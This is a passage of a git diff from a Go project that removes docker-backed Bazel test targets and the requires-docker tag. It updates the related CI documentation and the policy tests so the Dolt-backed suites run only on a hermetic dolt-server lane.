otherwise. `bazel-test`'s own `bazel-ci-build-artifacts` upload is no longer consumed by anything; it is kept for the F3.5.3 SHA256SUMS comparison and for debugging. - - The Dolt server fingerprint is checked per backend, where that backend - runs. The local server (the pinned dolt CLI every Bazel dolt-server lane - starts) is checked by `//internal/testutil:testutil_dolt_test` on the - dolt-server lane. The container is checked by `test-domain-uow`'s first - test step, which runs only where the container-backed jobs run (not - covered by `pr_lanes`). The every-PR job `test-dolt-server-fingerprint` - (`Test (Dolt server fingerprint)`, `TEST_DOLT_SERVER_FINGERPRINT`) - pulled a docker image the workers do not have, so it is retired; the - image tag stays pinned to the dolt release by + - The Dolt-backed domain, uow, tracker, doctor/fix and protocol suites + run only on the dolt-server lane, against hermetic `dolt sql-server`s + started from the pinned dolt; no CI job runs them against the + testcontainers backend (no `requires-docker` targets, no + `--config=docker`). The Dolt server fingerprint is checked in CI on that + local backend by `//internal/testutil:testutil_dolt_test`; its container + half runs under plain `go test` wherever docker and the image are + present, and the image tag stays pinned to the dolt release by `TestPinnedDoltCLIMatchesContainerImage`. The release-target cross-compilation (formerly pr.yml's `check-release-target-cross-compilation`, `go build ./...` with @@ -1099,8 +1095,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and legacy `-test.count=1` jobs). Since merge queue readiness these lanes cache results like every other lane, and nightly's `--config=fresh` re-executes every test once a day (see [Merge Queue](#merge-queue), - "Test result caching"). Only `test:docker` and `test:fresh` set result - caching in `.bazelrc`. + "Test result caching"). Only `test:fresh` sets result caching in + `.bazelrc`. - No retries: no `--flaky_test_attempts` or `--runs_per_test_detects_flakes` anywhere, and no `flaky =` other than a literal `False`. Each lane also runs @@ -1509,9 +1505,7 @@ retired tiers' configs and `sole-run`, parity with the legacy results, so nothing could ever be reused. Why caching is safe: - A cached PASS is valid for identical inputs: these targets are hermetic - (dolt and every input are runfiles). The docker-backed lane, whose - result depends on host state outside the key, keeps - `--nocache_test_results` and is dispatch-only. + (dolt and every input are runfiles). - A cached failure is never reused: Bazel treats a failed cached action as a miss, so whatever failed before runs again. - Poisoning is bounded: only rbe-west's workers write the action cache diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index c4970caef..bffa77fc5 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -103,10 +103,10 @@ same for the proxied subtests that bridge an external endpoint with `socat` sets it, and the legacy GitHub proxied jobs, which have no `socat`, do not. Under Bazel, `bazel test //... --config=doltserver` runs the Dolt-backed -suites of pr.yml's "Test (storage domain + uow)" and "Contract corpus" jobs -on the `local` backend (the `dolt-server` targets); they need no docker and -execute remotely with `--config=remote-exec`. `--config=docker` runs the same -suites on the `container` backend (host docker) as the A/B control. +domain, uow, tracker, doctor/fix, protocol and testutil suites on the `local` +backend (the `dolt-server` targets); they need no docker and execute +remotely with `--config=remote-exec`. No Bazel target uses the `container` +backend; run `go test` with docker and the pulled image to exercise it. PR Risk's heavier server tiers have configs of their own, run by bazel.yml only with remote execution, each in a job of its own (`bazel-proxied`, `bazel-server-storage`): `--config=doltserver-proxied` is the diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index 7498f62cf..823ed995a 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -126,40 +126,11 @@ go_test( ], ) -# The Dolt-backed db suite (TestDomainDB) as pr.yml's "Test (storage domain + -# uow)" job runs it: the suite starts a dolt sql-server container through -# testcontainers, and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 turns a missing -# container into a failure instead of a silent skip. db_test itself stays -# untagged: under --config=prcore (BEADS_TEST_SKIP=dolt) the suite skips, as in -# pr-core's `go test`. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "db_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :db_test)"], - data = [":db_test"], - # Pinned to the container backend (the docker lane is the A/B control); - # rule env beats --test_env, so =local on the command line cannot flip it. - env = { - "BEADS_TEST_DOLT_SERVER": "container", - "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", - }, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# db_test as pr.yml's "Test (storage domain + uow)" job runs it, on the +# db_test as the retired "Test (storage domain + uow)" job ran it, on the # dolt-server lane: TestDomainDB's server is a `dolt sql-server` the test # process starts itself (the local backend of internal/testutil) instead of a # testcontainers container. GOMAXPROCS=4 is the job's runner shape (the -# executor may have far more cores). db_docker_test is the A/B control. +# executor may have far more cores). # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index ffcd8cf28..d98cfcc61 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -86,7 +86,7 @@ go_library( # ~6-8s apiece, and the package needs ~7 min serially (TestBatchApplyContract # alone ~1 min: BoundsTheItemCount applies 1000+1001 real items), past the # default medium 300s. size/shard_count cover that configless run, the same -# workload uow_dolt_test (8 shards) and uow_docker_test (4 shards) run. +# workload uow_dolt_test (8 shards) runs. go_test( name = "uow_test", size = "large", @@ -202,45 +202,11 @@ go_test( ], ) -# The container-backed uow tests as pr.yml's "Test (storage domain + uow)" job -# runs them (no -short; each test starts its own dolt sql-server container), -# with BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 so a missing container fails instead -# of skipping. It repeats uow_test's `env` (go_test_variant.sh cannot inherit -# it). uow_test itself stays untagged: under --config=prcore those tests skip. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "uow_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :uow_test)"], - data = [ - ":uow_test", - "//cmd/bd:bd_for_tests", - ], - # Pinned to the container backend (the docker lane is the A/B control); - # rule env beats --test_env, so =local on the command line cannot flip it. - env = { - "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", - "BEADS_TEST_DOLT_SERVER": "container", - "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", - }, - # ~12 min unsharded under -race on a loaded host (large allows 15). - shard_count = 4, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# uow_test as pr.yml's "Test (storage domain + uow)" job runs it (no -short), +# uow_test as the retired "Test (storage domain + uow)" job ran it (no -short), # on the dolt-server lane: every server the tests ask internal/testutil for is # a `dolt sql-server` child of the test process, so the target runs on remote # workers. It repeats uow_test's `env` (go_test_variant.sh cannot inherit it). -# GOMAXPROCS=4 is the job's runner shape. uow_docker_test is the A/B control. +# GOMAXPROCS=4 is the job's runner shape. # 8 shards keep each under ~2 min remotely (the package is ~7 min in the job). # # Tags: diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index c3ecd1843..5fef41c5a 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -132,9 +132,10 @@ go_test( # server fingerprint)" job, every PR) and the TestLocalDoltServer_* tests run # against the pinned dolt in the test wrapper's runfiles. Every other # configuration of testutil_test passes BEADS_TEST_SKIP=dolt and skips them. -# The container half needs docker: testutil_docker_test below runs it on the -# docker lane, and TestPinnedDoltCLIMatchesContainerImage (//scripts) keeps -# the image tag on the pinned release. +# The container half needs docker and the image, so no Bazel target runs it: +# it runs under plain `go test` (the container backend is the default there) +# on a host that has both, and TestPinnedDoltCLIMatchesContainerImage +# (//scripts) keeps the image tag on the pinned release. # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the @@ -153,30 +154,6 @@ sh_test( tags = ["dolt-server"], ) -# The same tests with the container backend selected and required: the A/B -# control for testutil_dolt_test, and the only place TestDoltServerFingerprint's -# container half runs in CI (bazel.yml's docker lane, dolt-lane=docker). -# -# Tags: -# requires-docker: needs a docker daemon and the cached dolt-sql-server -# image; selected by --config=docker. -# no-remote-exec: the docker lane runs on the host. -sh_test( - name = "testutil_docker_test", - size = "medium", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :testutil_test)"], - data = [":testutil_test"], - env = { - "BEADS_TEST_DOLT_SERVER": "container", - "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", - }, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index 491df98bd..1fb51af6d 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -60,34 +60,11 @@ go_test( ], ) -# tracker_test as pr.yml's "Test (storage domain + uow)" job runs it: no -# -short and no BEADS_TEST_SKIP=dolt, so TestMain starts the shared dolt -# sql-server container, and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 turns a missing -# container into a failure instead of a suite of skips. tracker_test itself -# stays untagged: under --config=prcore its Dolt-backed tests skip. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "tracker_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :tracker_test)"], - data = [":tracker_test"], - env = {"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"}, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# tracker_test as pr.yml's "Test (storage domain + uow)" job runs it (no +# tracker_test as the retired "Test (storage domain + uow)" job ran it (no # -short; TestMain starts the shared server), on the dolt-server lane: the # server is a local `dolt sql-server` child of the test process. # BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 makes TestMain exit 1 if it cannot start, -# instead of WARN-skipping the suite. tracker_docker_test is the A/B control. +# instead of WARN-skipping the suite. # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index edcd54ee7..8a0d2516e 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -826,7 +826,6 @@ var allowedBazelTestTags = map[string]string{ "host-tools": "needs host tools (bash/git/make/jq/...) beyond the test wrapper's", "no-remote-exec": "must run on the Bazel client's host, never on a remote worker", "no-remote-cache": "result depends on the host, so it is neither read from nor uploaded to the remote cache", - "requires-docker": "needs a docker daemon; excluded from --config=prcore/ci, run by --config=docker", // No no-remote-exec: the target starts its own dolt sql-server from the // pinned dolt in its runfiles, so it runs on any worker, and a server that // cannot start fails it rather than skipping, so its cached result holds. @@ -866,7 +865,7 @@ var allowedBazelTestTags = map[string]string{ // and vice versa (TestBazelPRCoreExcludedTagsMatchTaxonomy), so a new lane // tag lands here, and through bazelIntegrationExcludedTags in the // integration lane's filter too. -var bazelPRCoreExcludedTags = []string{"requires-docker", "dolt-server", "dolt-server-proxied", "dolt-server-integration", "dolt-server-cmd", "embedded", "manual", "integration-only"} +var bazelPRCoreExcludedTags = []string{"dolt-server", "dolt-server-proxied", "dolt-server-integration", "dolt-server-cmd", "embedded", "manual", "integration-only"} // bazelIntegrationRunsTags are the PR-core-excluded tags --config=integration // runs: the integration lane is main.yml's integration jobs, whose @@ -914,12 +913,9 @@ func TestBazelPRCoreExcludedTagsMatchTaxonomy(t *testing.T) { // they must also carry: no-remote-exec, or remote execution would run them on a // worker that lacks the tool or daemon; and for host-tools, no-remote-cache, // because the action key does not cover the host's tool inventory, so a result -// produced on one host must not be served to another. (requires-docker -// targets fail rather than skip without their daemon, so their passes are -// safe to share.) +// produced on one host must not be served to another. var bazelTagsRequiring = map[string][]string{ - "host-tools": {"no-remote-exec", "no-remote-cache"}, - "requires-docker": {"no-remote-exec"}, + "host-tools": {"no-remote-exec", "no-remote-cache"}, } var ( @@ -994,8 +990,8 @@ func checkBazelBuildTags(name, build string) []error { func TestBazelTestTagsFollowTaxonomy(t *testing.T) { for name, good := range map[string]string{ - "docker": "# Tags:\n# requires-docker: needs a daemon.\n# no-remote-exec: the daemon is local.\n" + - "sh_test(\n name = \"x\",\n tags = [\n \"no-remote-exec\",\n \"requires-docker\",\n ],\n)\n", + "multi-line": "# Tags:\n# dolt-server: hermetic servers.\n# manual: a build input.\n" + + "sh_test(\n name = \"x\",\n tags = [\n \"dolt-server\",\n \"manual\",\n ],\n)\n", "host-tools": "# host-tools, no-remote-exec, no-remote-cache: git.\n" + "go_test(\n name = \"x\",\n tags = [\"host-tools\", \"no-remote-exec\", \"no-remote-cache\"], # why\n)\n", } { @@ -1008,7 +1004,7 @@ func TestBazelTestTagsFollowTaxonomy(t *testing.T) { "no comment": "go_test(\n name = \"x\",\n tags = [\"manual\"],\n)\n", "comment too far": "# manual: harness\n\ngo_test(\n name = \"x\",\n tags = [\"manual\"],\n)\n", "other rule's": "# manual: harness\ngo_test(name = \"a\", tags = [\"manual\"])\n\ngo_test(\n name = \"b\",\n tags = [\"manual\"],\n)\n", - "docker unpinned": "# requires-docker: daemon\ngo_test(\n name = \"x\",\n tags = [\"requires-docker\"],\n)\n", + "docker tag": "# requires-docker, no-remote-exec: daemon\ngo_test(\n name = \"x\",\n tags = [\"requires-docker\", \"no-remote-exec\"],\n)\n", "not a literal": "# manual\ngo_test(\n name = \"x\",\n tags = MANUAL,\n)\n", "literal plus": "# manual\ngo_test(\n name = \"x\",\n tags = [\"manual\"] + MORE,\n)\n", "host cacheable": "# host-tools no-remote-exec\ngo_test(\n name = \"x\",\n tags = [\"host-tools\", \"no-remote-exec\"],\n)\n", @@ -1159,13 +1155,13 @@ func TestBazelrcPrcoreExcludesNonPRTags(t *testing.T) { } for name, rc := range map[string]string{ "missing": "test:ci --keep_going\n", - "no docker": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n", - "no dolt-server": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n", - "ci override": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + - "test:ci --config=prcore\ntest:ci --test_tag_filters=requires-docker\n", - "second prcore line": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + + "no embedded": "test:prcore --test_tag_filters=-dolt-server,-manual\n", + "no dolt-server": "test:prcore --test_tag_filters=-embedded,-manual\n", + "ci override": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n" + + "test:ci --config=prcore\ntest:ci --test_tag_filters=dolt-server\n", + "second prcore line": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n" + "test:prcore --test_tag_filters=-manual\n", - "transitive": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + + "transitive": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n" + "test:ci --config=prcore\nbuild:nightly --config ci --test_tag_filters=\n", } { if err := checkBazelrcPrcoreTagFilter(rc); err == nil { @@ -1206,23 +1202,16 @@ func TestBazelrcPrcoreMatchesPRCoreParallel(t *testing.T) { t.Fatalf(".bazelrc lacks %q (pr-core.sh runs go test -parallel %s)", want, m[1]) } -// Docker-lane results depend on host state no action key sees (daemon, dolt -// image, network), so they must always execute, like the container jobs' -// -count=1; and no remote-exec run may upload a locally executed result to -// the shared cache. -func TestBazelrcDockerLaneNeverCached(t *testing.T) { - lines := map[string]bool{} +// No remote-exec run may upload a locally executed result (a no-remote-exec +// test's, which depends on the host) to the shared cache. +func TestBazelrcRemoteExecUploadsNoLocalResults(t *testing.T) { + const want = "build:remote-exec --noremote_upload_local_results" for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { - lines[strings.TrimSpace(line)] = true - } - for _, want := range []string{ - "test:docker --nocache_test_results", - "build:remote-exec --noremote_upload_local_results", - } { - if !lines[want] { - t.Errorf(".bazelrc lacks %q", want) + if strings.TrimSpace(line) == want { + return } } + t.Errorf(".bazelrc lacks %q", want) } // --- fork cache -------------------------------------------------------------- diff --git a/scripts/ci_merge_queue_test.go b/scripts/ci_merge_queue_test.go index 89ebd3532..47de8d20f 100644 --- a/scripts/ci_merge_queue_test.go +++ b/scripts/ci_merge_queue_test.go @@ -311,8 +311,7 @@ func TestMergeQueueBazelCoversRetiredTiers(t *testing.T) { // workflow-level env, --config=fresh only when inputs.fresh-test-results is // true (nightly.yml passes it; nothing else does), appended after every // other --config of each `bazel test` so its --nocache_test_results wins; -// no lane config turns caching off except docker (host state outside the -// action key); and nothing adds retries (eviction retries stay 0 where +// no lane config turns caching off; and nothing adds retries (eviction retries stay 0 where // set, TestBazelRetiredLanesArePinned / TestBazelPRLanesArePinned). func TestBazelTestResultCachingPolicy(t *testing.T) { var doc struct { @@ -412,16 +411,13 @@ func TestBazelTestResultCachingPolicy(t *testing.T) { if strings.HasSuffix(head, ":fresh") { lines = append(lines, line) } - if strings.Contains(line, "cache_test_results") && line != bazelFreshRCLine && line != "test:docker --nocache_test_results" { - t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) + if strings.Contains(line, "cache_test_results") && line != bazelFreshRCLine { + t.Errorf(".bazelrc %q: only test:fresh sets test result caching", line) } } if strings.Join(lines, "\n") != bazelFreshRCLine { t.Errorf(".bazelrc --config=fresh = %q, want exactly %q", lines, bazelFreshRCLine) } - if !strings.Contains(rc, "\ntest:docker --nocache_test_results\n") { - t.Error(".bazelrc lost test:docker --nocache_test_results") - } } // detect-package-gates.sh on merge_group diffs the queue's own bounds diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 0cbc8d3b5..c0aeaf076 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -996,62 +996,6 @@ func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { } } -func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { - const ( - fingerprintTimeoutMinutes = 5 - storageTimeoutMinutes = 15 - doctorTimeoutMinutes = 10 - setupTeardownSlackMinutes = 5 - jobTimeoutMinutes = fingerprintTimeoutMinutes + storageTimeoutMinutes + doctorTimeoutMinutes + setupTeardownSlackMinutes - ) - storageCommand := fmt.Sprintf( - "go test -tags gms_pure_go -race -count=1 -timeout %dm -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/...", - storageTimeoutMinutes) - doctorCommand := fmt.Sprintf( - "go test -tags gms_pure_go -race -count=1 -timeout %dm -v ./cmd/bd/doctor/fix/", - doctorTimeoutMinutes) - - for _, workflowName := range []string{"pr.yml"} { - t.Run(workflowName, func(t *testing.T) { - job := readCIWorkflow(t, workflowName).job(t, "test-domain-uow") - if job.TimeoutMinutes != jobTimeoutMinutes { - t.Errorf("test-domain-uow timeout = %d minutes, want %d", job.TimeoutMinutes, jobTimeoutMinutes) - } - // Go's timeout applies per package test binary, so this is a - // maintenance tripwire for the declared sequential tier budgets, - // not a mathematical upper bound for the multi-package first step. - if job.TimeoutMinutes <= fingerprintTimeoutMinutes+storageTimeoutMinutes+doctorTimeoutMinutes { - t.Errorf( - "test-domain-uow timeout = %d minutes, want more than %d minutes of declared tier budgets", - job.TimeoutMinutes, - fingerprintTimeoutMinutes+storageTimeoutMinutes+doctorTimeoutMinutes) - } - assertStepRunsExactly(t, job, "Test domain + uow + tracker", storageCommand) - assertStepRunsExactly(t, job, "Test doctor/fix (Dolt-backed, hard-require container)", doctorCommand) - }) - } - - // The container this job uses is compared with the checked-in - // fingerprint in its first test step - // (TestDoltServerFingerprintRunsWhereEachBackendRuns pins where). - job := readCIWorkflow(t, "pr.yml").job(t, prFingerprintJob) - assertStepRunsExactly(t, job, prFingerprintStep, - fmt.Sprintf("go test -tags gms_pure_go -count=1 -timeout %dm -v -run '^TestDoltServerFingerprint$' ./internal/testutil/", fingerprintTimeoutMinutes)) - assertStepEnvValue(t, job, prFingerprintStep, "BEADS_TEST_REQUIRE_DOLT_CONTAINER", "1") - - gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") - gateEnv := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, "test-domain-uow") { - t.Errorf("ci-gate needs test-domain-uow: %v", gate.Needs) - } - if got, want := gateEnv["TEST_DOMAIN_UOW"], "${{ needs.test-domain-uow.result }}"; got != want { - t.Errorf("ci-gate TEST_DOMAIN_UOW = %q, want %q", got, want) - } - if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "TEST_DOMAIN_UOW") { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include TEST_DOMAIN_UOW: %q", gateEnv["CI_GATE_REQUIRED"]) - } -} - func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { const ( workspaceBDBinary = "${{ github.workspace }}/bd" @@ -1099,63 +1043,6 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { } } -// TestDoltTestcontainerStepsDisableRyuk pins TESTCONTAINERS_RYUK_DISABLED on -// the steps enumerated in the table below — the two Dolt-backed steps of -// pr.yml's test-domain-uow job. It is an allow-list of -// literal (workflow, job, step) triples, so it catches an un-pinning -// regression on those steps only; it does not detect the class, and a -// newly added container-starting step passes it unpinned. -// -// Why the pin: testcontainers-go shares one Ryuk reaper per host; when a step -// runs several container-starting packages as concurrent test binaries (plain -// "go test" parallelizes across packages), they race to attach to that shared -// reaper, and a failed handshake from one process reaps a sibling's live -// container mid-suite (be-2on). A GitHub Actions runner is destroyed after the -// job, so the reaper buys nothing there and only costs this race. -// -// The scope is the job, not a per-step predicate: "Test domain + uow + -// tracker" runs three container-starting package trees in one invocation and -// is the step the race is concrete on, while "Test doctor/fix" runs the single -// ./cmd/bd/doctor/fix/ package and is pinned for consistency inside the same -// job rather than because it has an in-step sibling. -// -// Left unpinned, deliberately. A step can only start a Dolt container if its -// job pre-caches the image via scripts/ci/pull-dolt-image.sh: checkDolt in -// internal/testutil gates on `docker image inspect` and never auto-pulls. The -// other jobs that do pull it are pr.yml/contract-corpus, -// pr-risk.yml/test-proxied-cmd, -// pr-risk.yml/test-server-storage and -full, and -// bazel.yml's --config=docker lane. They are out of scope for this change, not -// immune: no reap has been attributed to them, and the docker lane would -// additionally need --test_env=TESTCONTAINERS_RYUK_DISABLED=true because bazel -// does not forward ambient environment into tests. Extending the pin — and -// teaching this guard to scan for the class, the way assertGoCacheWriter below -// walks every job and step — is follow-up work on be-2on. -// -// Steps that run under BEADS_TEST_SKIP=dolt (pr-core.sh's hermetic wrapper, -// nightly.yml's full-test) never start a container at all -// and are correctly excluded: internal/testutil's readiness check treats -// BEADS_TEST_SKIP=dolt as an explicit opt-out before it ever reaches Docker. -func TestDoltTestcontainerStepsDisableRyuk(t *testing.T) { - type doltContainerStep struct { - workflow string - job string - step string - } - - steps := []doltContainerStep{ - {"pr.yml", "test-domain-uow", "Test domain + uow + tracker"}, - {"pr.yml", "test-domain-uow", "Test doctor/fix (Dolt-backed, hard-require container)"}, - } - - for _, tc := range steps { - t.Run(tc.workflow+"/"+tc.job+"/"+tc.step, func(t *testing.T) { - job := readCIWorkflow(t, tc.workflow).job(t, tc.job) - assertStepEnvValue(t, job, tc.step, "TESTCONTAINERS_RYUK_DISABLED", "true") - }) - } -} - // TestNightlyFullTestRunsEmbeddedDoltBatchApplySuite pins the nightly // full-test job's embedded-Dolt step: it must set BEADS_TEST_EMBEDDED_DOLT=1 // (the gate skipUnlessEmbeddedDolt checks) and run exactly @@ -3689,8 +3576,6 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { "BUILD_ARTIFACTS": "build-artifacts", "PR_CORE_WRAPPER": "pr-core-wrapper", "CHECK_CMD_BD_PUREGEO_TESTS": "check-cmd-bd-puregeo-tests", - "TEST_DOMAIN_UOW": "test-domain-uow", - "CONTRACT_CORPUS": "contract-corpus", } { if !contains(required, id) || !contains(gate.Needs, job) { t.Errorf("pr.yml ci-gate no longer requires legacy %s (%s)", job, id) @@ -4469,27 +4354,30 @@ func TestBazelWorkflowPublishesBuildArtifacts(t *testing.T) { } } -// bazel-doltserver replaces pr.yml's container-backed jobs: --config=doltserver -// (hermetic dolt sql-servers, remote-executable) by default, and a dolt-server -// target in every package those jobs run. --config=docker stays reachable as -// the A/B control (dispatch dolt-lane=docker), with the jobs' image pull. +// bazel-doltserver is the only run of what pr.yml's container-backed jobs +// ("Test (storage domain + uow)", "Contract corpus") ran: --config=doltserver +// (hermetic dolt sql-servers, remote-executable), with a dolt-server target +// in every package those jobs ran. Nothing runs those suites against +// testcontainers any more: no docker lane, no requires-docker target, no +// image pull in bazel.yml, and neither job in pr.yml. func TestBazelDoltJobMirrorsContainerJobs(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") - job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelDoltJobName) - pull := job.step(t, "Pull Dolt sql-server image") for _, name := range []string{"test-domain-uow", "contract-corpus"} { - if want := pr.job(t, name).step(t, "Pull Dolt sql-server image").Run; pull.Run != want { - t.Errorf("%s pulls the dolt image differently from %s (%q)", bazelDoltJobName, name, want) + if _, ok := pr.Jobs[name]; ok { + t.Errorf("pr.yml has job %s again; //...:*_dolt_test on the dolt-server lane runs its tests", name) } } - if pull.If != "${{ env.BAZEL_DOLT_LANE == 'docker' }}" { - t.Errorf("%s pulls the dolt image with if %q; only the docker lane needs it", bazelDoltJobName, pull.If) + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelDoltJobName) + for _, st := range job.Steps { + if strings.Contains(st.Run, "pull-dolt-image") || strings.Contains(st.Run, "docker") { + t.Errorf("%s step %q uses docker; the dolt-server lane needs none", bazelDoltJobName, st.Name) + } } - if got := job.Env["BAZEL_DOLT_LANE"]; got != "${{ inputs.dolt-lane || 'doltserver' }}" { - t.Errorf("%s BAZEL_DOLT_LANE = %q, want the doltserver lane unless dispatched otherwise", bazelDoltJobName, got) + if _, ok := job.Env["BAZEL_DOLT_LANE"]; ok { + t.Errorf("%s still selects its lane from BAZEL_DOLT_LANE; it runs --config=doltserver only", bazelDoltJobName) } test := job.step(t, "bazel test //... --config=doltserver") - if !strings.Contains(test.Run, `bazel test //... "--config=$BAZEL_DOLT_LANE"`) || !strings.Contains(test.Run, "set -o pipefail") { + if !strings.Contains(test.Run, "bazel test //... --config=doltserver ") || !strings.Contains(test.Run, "set -o pipefail") { t.Errorf("dolt lane step does not run the lane over //...:\n%s", test.Run) } if strings.Contains(test.Run, "--config=remote-exec") { @@ -4498,37 +4386,36 @@ func TestBazelDoltJobMirrorsContainerJobs(t *testing.T) { assertTestStepKeepsExitStatus(t, test) rc := readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc") - for _, want := range []string{"test:doltserver --test_tag_filters=dolt-server", "test:docker --test_tag_filters=requires-docker"} { - if !strings.Contains(rc, want+"\n") { - t.Errorf(".bazelrc lacks %q", want) - } + if !strings.Contains(rc, "test:doltserver --test_tag_filters=dolt-server\n") { + t.Errorf(".bazelrc lacks %q", "test:doltserver --test_tag_filters=dolt-server") + } + if regexp.MustCompile(`(?m)^(build|test):docker\b`).MatchString(rc) { + t.Error(".bazelrc defines a docker config again; the dolt-server lane is hermetic") } - // The packages those jobs run (test-domain-uow: domain/..., uow, - // tracker/... and doctor/fix; contract-corpus: protocol) each need a + // The packages those jobs ran (test-domain-uow: domain/..., uow, + // tracker/... and doctor/fix, and the server fingerprint, whose local + // half testutil's target runs; contract-corpus: protocol) each need a // dolt-server target. Every such target, checked on its own, picks the // local backend and fails closed, so a broken backend fails rather than // skipping into a cached pass; the ones whose TestMain owns a server also // set the package's own REQUIRE switch. root := sourceRepoRoot(t) - for pkg, docker := range map[string]bool{ - "internal/storage/domain": false, - "internal/storage/domain/db": true, - "internal/storage/domain/fs": false, - "internal/storage/domain/git": false, - "internal/storage/uow": true, - "internal/tracker": true, - "internal/tracker/conformance": false, - "cmd/bd/doctor/fix": true, - "cmd/bd/protocol": true, + for _, pkg := range []string{ + "internal/storage/domain", + "internal/storage/domain/db", + "internal/storage/domain/fs", + "internal/storage/domain/git", + "internal/storage/uow", + "internal/testutil", + "internal/tracker", + "internal/tracker/conformance", + "cmd/bd/doctor/fix", + "cmd/bd/protocol", } { - build := readPolicyFile(t, root, pkg+"/BUILD.bazel") - for _, err := range checkDoltServerRules(pkg, build) { + for _, err := range checkDoltServerRules(pkg, readPolicyFile(t, root, pkg+"/BUILD.bazel")) { t.Error(err) } - if docker && !strings.Contains(build, `"requires-docker"`) { - t.Errorf("%s/BUILD.bazel has no requires-docker variant for the docker A/B lane", pkg) - } } } @@ -4617,15 +4504,14 @@ func checkDoltServerRules(pkg, build string) []error { } // A dolt-server rule is checked on its own: another target in the same file -// (the docker variant) carrying the env must not cover for it. +// (here an untagged variant) carrying the env must not cover for it. func TestCheckDoltServerRulesPerTarget(t *testing.T) { const docker = `sh_test( - name = "uow_docker_test", + name = "uow_container_test", env = { "BEADS_TEST_DOLT_SERVER": "container", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", }, - tags = ["requires-docker", "no-remote-exec"], ) ` good := `load("@rules_shell//shell:sh_test.bzl", "sh_test") @@ -5173,11 +5059,10 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { t.Errorf("setup-bazel's generated rc selects or narrows tests; it may only configure remote execution") } for line := range rc { - // Result caching: only the docker lane and nightly's fresh config - // turn it off (ci_merge_queue_test.go). - if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && - line != "test:docker --nocache_test_results" && line != bazelFreshRCLine { - t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) + // Result caching: only nightly's fresh config turns it off + // (ci_merge_queue_test.go). + if !strings.HasPrefix(line, "#") && 